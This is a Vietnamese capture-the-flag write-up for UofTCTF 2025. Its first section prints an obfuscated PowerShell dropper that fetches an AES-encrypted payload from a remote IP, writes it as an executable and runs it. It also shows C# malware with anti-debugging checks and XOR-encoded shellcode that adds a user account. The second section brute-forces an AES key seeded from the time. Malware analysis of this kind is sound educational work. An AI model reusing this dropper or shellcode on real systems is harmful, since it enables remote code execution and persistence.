# Write Up UofTCTF 2025

---
## 1. POOF

---
Bài cho mình 1 file `pcap`, mở lên đọc qua phần export object, mình thấy được:

Lưu hết các file đó về, bắt đầu với file `.ps1`, mình có được đoạn code powershell bị obfuscate:

Để đọc được rõ ràng hơn, mình dùng tool `powerdecode` cho file `.ps1`, có được script dễ nhìn hơn:
```python=
sEt-ITeM 'VARIABlE:Vs52ar' ( [TyPe]'tExT.EncOdinG') ; SeT-vArIaBle 'y8f' ( [tyPE]'sySTeM.TExT.ENCODInG' ) ; sEt-iteM ("vAriaBlE:G7P2SH") ( [tYpE]'SEcURiTy.CRyptOgRaphy.aeS' ) ; SET-ITEM 'vARiaBLE:9nGZ' ( [TYPe]'SECUritY.cRYPTogRapHY.cIpHeRMOde' ) ;SET-Item 'variable:ZkvA2O' ( [TyPE]'seCUrItY.cRYPTOGRaPhy.PaDDInGMOde') ; $LvN4s6= [tYPe]'SecUrity.crYptOGRAphy.CryPtOsTrEaMMOdE';SET-iTEm 'vARiabLe:RXa5' ([tyPe]'sysTEM.GUID'); $yqx = [TyPE]'IO.FIle' ; Set-Variable -Name 'url' -Value (('http://34.60.97.167/82nvdkandf.bin'))
Set-Variable -Name 'key' -Value ( $Vs52aR::"uTF8".GetBytes.Invoke(('sksd89D2G0X9jk2fF1b4S2a7Gh8aVk0L')))
Set-Variable -Name 'iv' -Value ( ( VArIaBlE 'Y8F' -ValuEo )::"UTf8".GetBytes.Invoke(('Md33eFa0wNx2Zq5LjK6X9t3G7oN45mY1')))
Set-Variable -Name 'response' -Value (Invoke-WebRequest -Method 'Get' -Uri ${URL})
Set-Variable -Name 'aes' -Value ( $g7p2Sh::'Create'.Invoke())
${AES}.key = ${KeY}
${aeS}.Iv = ${IV}
${AEs}.mODE = (Dir 'VArIaBLE:9NGz' ).vALUE::"cBC"
${AeS}.pAddIng = ( GeT-VArIABlE ("zKVa2o") ).vALue::"pkCs7"
Set-Variable -Name 'decryptor' -Value (${Aes}.CreateDecryptor.Invoke())
Set-Variable -Name 'fileStream' -Value (New-Object 'System.IO.MemoryStream'(${RESPonsE}.cONTent))
Set-Variable -Name 'cryptoStream' -Value (New-Object 'System.Security.Cryptography.CryptoStream'(${FilestReAm}, ${dECRYpTOR}, (vaRIABLe ("lvN4s6") ).VAlUe::"REad"))
Set-Variable -Name 'decryptedBytes' -Value (New-Object 'byte[]' 1024)
Set-Variable -Name 'decryptedStream' -Value (New-Object 'System.IO.MemoryStream')
while ((Set-Variable -Name 'bytesRead' -Value (${crYpTOsTreAm}.Read.Invoke(${dECryPTEDbYTes}, 0, ${dECrYPTeDbytES}.LenGTH))) -gt 0) {
${DEcryptEDSTReAM}.Write.Invoke(${deCRYPTedBYTeS}, 0, ${ByteSReAD})
}
${CRypToStreaM}.Close.Invoke()
${FILESTREAm}.Close.Invoke()
Set-Variable -Name 'decryptedData' -Value (${dEcRYpTedsTrEAM}.ToArray.Invoke())
Set-Variable -Name 'exeFileName' -Value ( (varIabLE ("RXa5") -value )::'NewGuid'.Invoke().ToString.Invoke() + '.exe')
Set-Variable -Name 'exeFilePath' -Value ("$env:temp\$exeFileName")
$yqX::'WriteAllBytes'.Invoke(${EXEFIlepATH}, ${dEcRYpteddATA})
Start-Process -FilePath ${ExefiLEPATh}
```
Script trên chủ yếu là để tải một file từ một URL, giải mã nội dung của nó bằng AES, sau đó lưu nội dung đã giải mã vào một file thực thi (executable) và thực thi nó, cái mình cần quan tâm là `key` và `IV` của nó, mình đã có được sau khi deobfuscate.
Vì lúc trích xuất các file ở file `.pcap` mình đã có 1 file bin mà script có đề cập đến, chỉ việc decrypt file đó là ta sẽ có được file thực thi.
Tiến hành giải mã:


Nhìn thấy được là file `.NET`, mình sử dụng dnspy để đọc file đó:

```c#=
// Kljansdfkansdf.Kljansdfkansdf
// Token: 0x0600000A RID: 10 RVA: 0x000020E4 File Offset: 0x000002E4
private static void Main(string[] args)
{
Win32.ShowWindow(Win32.GetConsoleWindow(), Win32.SW_HIDE);
if (Debugger.IsAttached)
{
Environment.Exit(0);
}
foreach (Process process in Process.GetProcesses())
{
if (process.ProcessName.Contains("devenv") || process.ProcessName.Contains("dnspy"))
{
Environment.Exit(0);
}
}
byte[] array = new byte[]
{
129, 149, byte.MaxValue, 125, 125, 125, 29, 244, 152, 76,
189, 25, 246, 45, 77, 246, 47, 113, 246, 47,
105, 246, 15, 85, 114, 202, 55, 91, 76, 130,
209, 65, 28, 1, 127, 81, 93, 188, 178, 112,
124, 186, 159, 143, 47, 42, 246, 47, 109, 246,
55, 65, 246, 49, 108, 5, 158, 53, 124, 172,
44, 246, 36, 93, 124, 174, 246, 52, 101, 158,
71, 52, 246, 73, 246, 124, 171, 76, 130, 209,
188, 178, 112, 124, 186, 69, 157, 8, 139, 126,
0, 133, 70, 0, 89, 8, 153, 37, 246, 37,
89, 124, 174, 27, 246, 113, 54, 246, 37, 97,
124, 174, 246, 121, 246, 124, 173, 244, 57, 89,
89, 38, 38, 28, 36, 39, 44, 130, 157, 34,
34, 39, 246, 111, 150, 240, 32, 23, 124, 240,
248, 207, 125, 125, 125, 45, 21, 76, 246, 18,
250, 130, 168, 198, 141, 200, 223, 43, 21, 219,
232, 192, 224, 130, 168, 65, 123, 1, 119, 253,
134, 157, 8, 120, 198, 58, 110, 15, 18, 23,
125, 46, 130, 168, 30, 16, 25, 93, 82, 30,
93, 19, 24, 9, 93, 8, 14, 24, 15, 93,
17, 24, 26, 20, 9, 8, 14, 24, 15, 93,
8, 18, 27, 9, 30, 9, 27, 6, 42, 73,
14, 34, 76, 41, 34, 47, 78, 28, 17, 17,
4, 34, 28, 51, 34, 52, 16, 13, 17, 73,
19, 9, 66, 66, 0, 93, 82, 28, 25, 25,
93, 82, 4, 125
};
byte b = 125;
for (int j = 0; j < array.Length; j++)
{
byte[] array2 = array;
int num = j;
array2[num] ^= b;
}
Kljansdfkansdf.kjfadsiewqinfqniowf(array);
}
```
Toàn bộ đoạn mã này dường như nhằm mục đích chạy một số hành động mà không bị phát hiện, bao gồm việc ẩn cửa sổ console, kiểm tra sự hiện diện của debugger và một số quá trình phát triển phần mềm, cũng như giải mã và xử lý dữ liệu từ mảng byte. Đây có thể là một đoạn mã trong phần mềm độc hại hoặc mã lén lút được thiết kế để thực hiện hành động nhất định mà không để lại dấu vết.
Ngoài ra còn có thể thấy được Phép toán XOR với b (giá trị 125) được áp dụng cho từng phần tử trong mảng. Điều này sẽ biến đổi các giá trị byte ban đầu và có thể chứa flag:

```python=
array = [
129, 149, 255, 125, 125, 125, 29, 244, 152, 76,
189, 25, 246, 45, 77, 246, 47, 113, 246, 47,
105, 246, 15, 85, 114, 202, 55, 91, 76, 130,
209, 65, 28, 1, 127, 81, 93, 188, 178, 112,
124, 186, 159, 143, 47, 42, 246, 47, 109, 246,
55, 65, 246, 49, 108, 5, 158, 53, 124, 172,
44, 246, 36, 93, 124, 174, 246, 52, 101, 158,
71, 52, 246, 73, 246, 124, 171, 76, 130, 209,
188, 178, 112, 124, 186, 69, 157, 8, 139, 126,
0, 133, 70, 0, 89, 8, 153, 37, 246, 37,
89, 124, 174, 27, 246, 113, 54, 246, 37, 97,
124, 174, 246, 121, 246, 124, 173, 244, 57, 89,
89, 38, 38, 28, 36, 39, 44, 130, 157, 34,
34, 39, 246, 111, 150, 240, 32, 23, 124, 240,
248, 207, 125, 125, 125, 45, 21, 76, 246, 18,
250, 130, 168, 198, 141, 200, 223, 43, 21, 219,
232, 192, 224, 130, 168, 65, 123, 1, 119, 253,
134, 157, 8, 120, 198, 58, 110, 15, 18, 23,
125, 46, 130, 168, 30, 16, 25, 93, 82, 30,
93, 19, 24, 9, 93, 8, 14, 24, 15, 93,
17, 24, 26, 20, 9, 8, 14, 24, 15, 93,
8, 18, 27, 9, 30, 9, 27, 6, 42, 73,
14, 34, 76, 41, 34, 47, 78, 28, 17, 17,
4, 34, 28, 51, 34, 52, 16, 13, 17, 73,
19, 9, 66, 66, 0, 93, 82, 28, 25, 25,
93, 82, 4, 125
]
b = 125
decoded_array = [byte ^ b for byte in array]
print("Decoded byte array:")
print(decoded_array)
```
Sau khi xor ta có được:
```bash!
[252, 232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, 207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 106, 1, 141, 133, 178, 0, 0, 0, 80, 104, 49, 139, 111, 135, 255, 213, 187, 240, 181, 162, 86, 104, 166, 149, 189, 157, 255, 213, 60, 6, 124, 10, 128, 251, 224, 117, 5, 187, 71, 19, 114, 111, 106, 0, 83, 255, 213, 99, 109, 100, 32, 47, 99, 32, 110, 101, 116, 32, 117, 115, 101, 114, 32, 108, 101, 103, 105, 116, 117, 115, 101, 114, 32, 117, 111, 102, 116, 99, 116, 102, 123, 87, 52, 115, 95, 49, 84, 95, 82, 51, 97, 108, 108, 121, 95, 97, 78, 95, 73, 109, 112, 108, 52, 110, 116, 63, 63, 125, 32, 47, 97, 100, 100, 32, 47, 121, 0]
```
Decode nó và ta có flag:

> Flag: uoftctf{W4s_1T_R3ally_aN_Impl4nt??}
---
## 2. Decrypt Me

---
Bài cho mình 1 file `.rar` chứa pass, đầu tiên mình cần crack được, dùng john (sẽ mất 1 lúc siêu lâu mới ra), mình có được 1 file `.py`.
```python=
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Hash import SHA256
from time import time
import random
random.seed(int(time()))
KEY = SHA256.new(str(random.getrandbits(256)).encode()).digest()
FLAG = "uoftctf{fake_flag}"
def encrypt_flag(flag, key):
cipher = AES.new(key, AES.MODE_EAX)
ciphertext, tag = cipher.encrypt_and_digest(flag.encode())
return cipher.nonce + ciphertext
def main():
encrypted_flag = encrypt_flag(FLAG, KEY)
with open("flag.enc", "wb") as f:
f.write(encrypted_flag)
if __name__ == "__main__":
main()
```
Đọc xong src thì mình nhận ra nó còn 1 file `.enc` nữa, nhưng nó lại không xuất hiện trong file rar, kiểm tra hex thì mình thấy có nó, thế nhưng nó bị ẩn đi.
> Wu tương tự: https://ilovectf.github.io/ads/2020/05/03/De1.html
Sau khi trích xuất được file `.enc` theo wu trên, mình viết script để bruteforce key:
```python=
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
import random
import datetime
import time
def decrypt_flag(nonce_ciphertext, key):
nonce, ciphertext = nonce_ciphertext[:16], nonce_ciphertext[16:]
cipher = AES.new(key, AES.MODE_EAX, nonce=nonce)
decrypted_flag = cipher.decrypt(ciphertext)
return decrypted_flag
# Đọc dữ liệu từ file flag.enc
with open("flag.enc", "rb") as f:
encrypted_data = f.read()
# Khung thời gian để brute force (từ ngày 3 tháng 1)
start_date = datetime.datetime(2025, 1, 6, 0, 0, 0) # Ngày bắt đầu: 3/1/2025 00:00:00
end_date = datetime.datetime(2025, 1, 7, 0, 0, 0) # Ngày kết thúc tùy chọn: 13/1/2025 00:00:00
# Lặp qua tất cả các giá trị thời gian trong phạm vi
current_time = start_date
delta = datetime.timedelta(seconds=1) # Bước tăng 1 giây
while current_time <= end_date:
timestamp = int(time.mktime(current_time.timetuple()))
random.seed(timestamp)
key_candidate = SHA256.new(str(random.getrandbits(256)).encode()).digest()
try:
flag = decrypt_flag(encrypted_data, key_candidate).decode()
if "uoftctf{" in flag: # Kiểm tra nếu flag có định dạng mong muốn
print(f"Thời gian tìm thấy: {current_time}")
print(f"Khóa tìm thấy: {key_candidate.hex()}")
print(f"Flag: {flag}")
break
except Exception:
pass # Bỏ qua các lỗi giải mã không hợp lệ
current_time += delta
else:
print("Không tìm thấy flag trong phạm vi thời gian đã chọn.")
```
Chạy file, chờ 1 chút là có flag:
> uoftctf{ads_and_aes_are_one_letter_apart}
---